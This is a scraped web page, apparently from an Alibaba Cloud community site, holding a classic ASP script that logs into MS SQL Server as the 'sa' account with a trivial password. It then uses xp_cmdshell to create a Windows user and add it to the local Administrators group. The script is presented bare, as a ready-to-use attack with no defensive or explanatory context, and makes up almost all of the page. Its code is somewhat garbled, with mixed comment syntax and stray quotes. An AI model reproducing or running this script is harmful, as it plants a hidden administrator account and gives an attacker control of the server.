Add new user to Administrators group via MS SQL database sa account

Source: Internet
Author: User
Tags goto domain access database
Data | database

<%
'----Database connection start
'---Level two domain name
main_domain= "Web"--Domain name format is pcc.net
Dim conn_home
Dim conn_homestr
' Define database category, 1 for SQL database, 0 for Access database
Const ISSQLDATABASE_HOMESTR = 1
Call Conn_home_init ()
Sub Conn_home_init ()
If Issqldatabase_homestr = 1 Then
' Note This SQL login needs to have SA account and xp_cmdshell stored procedures
' SQL database connection parameters: Database name, user password, username, connection name (local locally, field IP)
Dim Sqldatabasename,sqlpassword,sqlusername,sqllocalname
Sqldatabasename = "Master"
SQLPassword = "1"
sqlusername = "sa"
Sqllocalname = "127.0.0.1"
Conn_homestr = "Provider = SQLOLEDB; User ID = "& Sqlusername &"; Password = "& SQLPassword &"; Initial Catalog = "& Sqldatabasename &"; Data Source = "& Sqllocalname &";
Else
db = "/user_database/database/shop_manager.mdb"---database path
Conn_homestr = "Provider = Microsoft.jet.oledb.4.0;data Source =" & Server.MapPath (DB)
End If
Set conn_home = Server.CreateObject ("ADODB. Connection ")
On Error Resume Next
If Err.number<>0 Then
Err.Clear
Set conn_home=nothing
Response.Write "Manage database connection Error!" "
Response.End
Else
On Error Resume Next
Conn_home.open Conn_homestr
If Err Then
Err.Clear
Set conn_home=nothing
Response.Write "Manage database connection Error!" "
Response.End
End If
End If
On Error Goto 0
End Sub

Sub Endconn_home ()
On Error Resume Next
Conn_home.close
Set conn_home=nothing
On Error Goto 0
End Sub

'----Database connection end
Conn_home.execute "Use Master"
Conn_home.execute "xp_cmdshell ' net user 1 1/add '"
Conn_home.execute "xp_cmdshell ' net localgroup Administrators 1/add '"

%>



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.